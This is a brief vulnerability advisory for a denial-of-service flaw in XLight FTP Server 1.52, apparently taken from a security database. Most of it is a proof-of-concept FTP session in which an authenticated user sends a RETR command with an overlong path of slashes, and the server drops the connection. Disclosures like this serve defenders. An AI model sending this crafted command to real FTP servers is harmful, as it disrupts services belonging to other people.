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XLight FTP Server Remote Send File Request Denial Of Service Vulnerability

No exploit is required to leverage this issue. The following proof of concept has been provided:

ftp> open
To www.example.com
Connected to www.example.com.
220 Xlight Server 1.52 ready...
User (www.example.com:(none)): test
331 Password required for test
Password:
230 Login OK.
ftp> literal pasv
227 Entering passive mode .
ftp> literal retr /////////////////////////////////////////
///////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////
//////////////////////////////////////////qwer
Connection closed by remote host.







 

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